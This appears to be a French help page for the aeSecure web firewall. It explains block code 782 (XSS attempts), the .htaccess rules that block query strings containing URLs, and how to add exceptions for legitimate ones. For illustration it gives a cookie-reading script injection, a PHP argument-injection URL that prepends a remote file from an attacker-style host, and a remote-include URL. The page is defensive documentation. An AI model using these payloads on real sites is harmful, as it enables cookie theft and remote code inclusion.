782 - Tentative d'exécution d'une attaque dite xss

Une attaque XSS, également appelée Cross-Site Scripting, consiste dans la tentative d'injecter dans l'url des caractères qui ne sont pas autorisés et qui peuvent rediriger vers une autre page ou avoir une influence sur la page en cours.

Ainsi, une url comme celle-ci dessous est potentiellement dangereuse car le script index.php pourrait, s'il est mal écrit, ne pas faire de validation de la variable "name" transmise accepter ce qui suit "name=" comme le nom de l'utilisateur. Et, comme tout mauvais script, il pourrait ensuite faire très naïvement un "echo 'Bonjour "$_GET['name']"';" pour afficher un message de bienvenue à l'utilisateur. Dans ce cas-là, les cookies de la page seraient alors affiché; à cause du script qui a été insidieusement écrit dans l'URL.

http://votresite/index.php?name=guest<script>alert(document.cookie);&lt/script&gt

Ce code php serait de la pire espèce puisqu'il ne prendrait pas le soin de valider la valeur transmise.

L'attaque XSS peut se faire depuis l'url (GET) ou au travers des données d'un formulaire (POST). Il peut s'agir de code javascript ou d'une url tierce.

Les données pourraient être écrite dans l'url comme l'exemple ci-dessus ou par l'inclusion d'un fichier stocké sur un autre serveur et dont la référence serait fournie en incluant une seconde url; p.ex.

/?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://xxxxxx.alihack.com/info.txt

Une url comme http://votresite/index.php?option=com_amazing&task=view&layout=http://badsite/steal_data.php pourrait, peut-être, mettre à mal la sécurité du site car l'attaquant espère pouvoir forcer une connexion sur son site et voler certaines de vos données.

Pour ces raisons, aeSecure bloque tout ce qui s'apparente à une attaque XSS par une série de règles dans le fichier /.htaccess se trouvant à la racine de votre site web. Ces règles sont les suivantes :

 #xss blocage  For instance, a parameter on the querystring is an url (http://...)
 RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(s|%73|%53)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(s|%73|%53)%3a(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)%3a(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(f|%66|%46)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)%20(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)%20(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)%20(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)%20(t|%74|%54)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC]
 RewriteRule .* http://%{HTTP_HOST}/aesecure/accessdenied.php?s=782 [L]

Vous trouverez ce code dans le fichier /.htaccess à la racine de votre site. Faites une recherche sur la chaîne s=782 pour localiser précisement le bloc de règles.

Autoriser votre propre serveur à générer des URLs qui contiennent des URLs

Dans plusieurs cas (des forums, des logiciels de téléchargements ou de statistiques, ...), il arrive que votre serveur génère lui-même une URL qui reprend une seconde URL. Dans sa version 2.0, aeSecure reprend une exception pour permettre de ne plus bloquer ces URLs-là.

Si vous souhaitez implémenter cette exception vous-même, manuellement, procédez comme suit :

  1. Éditez le fichier .htaccess se trouvant à la racine de votre site web
  2. Localisez la ligne ci-dessous (en bleu)
  3. Ajoutez les deux lignes mentionnées ci-dessous (en jaune)
  4. Remplacer la variable YOUR_SERVER_IP par l'adresse IP de votre propre serveur web
  5. Sauver le fichier.
 #xss blocage  For instance, a parameter on the querystring is an url (http://...)
 RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
 RewriteCond %{REMOTE_ADDR} !127.0.0.1
 RewriteCond %{REMOTE_ADDR} !YOUR_SERVER_IP

L'adresse IP de votre serveur peut être obtenue de différentes façons (sous Windows, lancer une commande DOS telle que "ping www.votreserveur.com") ou encore le site web http://get-site-ip.com/.

Écrire une exception

Si vous constatez que des urls légitimes sont bloquées; il faudra écrire une exception.

Par exemple, sous Joomla!®, lorsque le composant Akeeba backup est installé et que vous lancer l'installation d'un composant, d'un module, ... ou de Joomla!® lui-même, Akeeba démarre préalablement une sauvegarde rapide du site. La requête générée par Akeeba backup est très proche de celle-ci :

http://votresite/administrator/index.php?option=com_akeeba&view=backup&autostart=1&returnurl=http%3A%2F%2Fvotresite%2Fadministrator%2Findex.php%3Foption%3Dcom_joomlaupdate%26task%3Dupdate.install%26is_backed_up%3D1

Une seconde url est mentionnée comme value du paramètre &returnurl. Pour cette raison, aeSecure va interdire la requête et afficher la page "782 - Tentative d'exécution d'une attaque dite xss".

L'url étant, ici, parfaitement légitime, il faut l'autoriser. Pour cela, éditer votre fichier .htaccess, repérez le bloc mentionné ci-dessus (faites une recherche sur la chaîne "s=782").

Ajouter la ligne suivante parmi les premières lignes :

RewriteCond %{QUERY_STRING} !option=com_akeeba&view=backup(.*)$ [NC]

Cette ligne dit ceci : si le querystring (ce qui se trouve après le ? dans l'url) débute par "option=com_akeeba&view=backup" alors cesse-ci la lecture du bloc. De cette manière, on légitime l'url et on indique qu'il ne s'agit pas d'une attaque XSS.

Le bloc devient :

 #xss blocage  For instance, a parameter on the querystring is an url (http://...)
 RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
 RewriteCond %{QUERY_STRING} !option=com_akeeba&view=backup(.*)$ [NC]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(s|%73|%53)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(s|%73|%53)%3a(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)%3a(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(f|%66|%46)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)%20(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)%20(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)(t|%74|%54)(t|%74|%54)(p|%70|%50)%20(%3A|:)(/|%2F){2}(.*)$ [NC,OR]
 RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%3A|%09)(.*)(h|%68|%48)%20(t|%74|%54)(t|%74|%54)(p|%70|%50)(%3A|:)(/|%2F){2}(.*)$ [NC]
 RewriteRule .* http://%{HTTP_HOST}/aesecure/accessdenied.php?s=782 [L]

Depuis sa version 1.0.8, aeSecure inclus par défaut cette exception.

L'exemple donné ci-dessus concerne une valeur qui se trouvait dans les paramètres de l'URL (càd une donnée après le caractère ?). Si vous souhaitez spécifier une valeur se trouvant avant; dans le nom du fichier; il faudra utiliser la variable %{REQUEST_URI} du fichier .htaccess; exemple :

RewriteCond %{REQUEST_URI} !/mobiquo/smartbanner/welcome\.php$ [NC]]

afin d'ajouter une exception pour le fichier susmentionné.

Back to top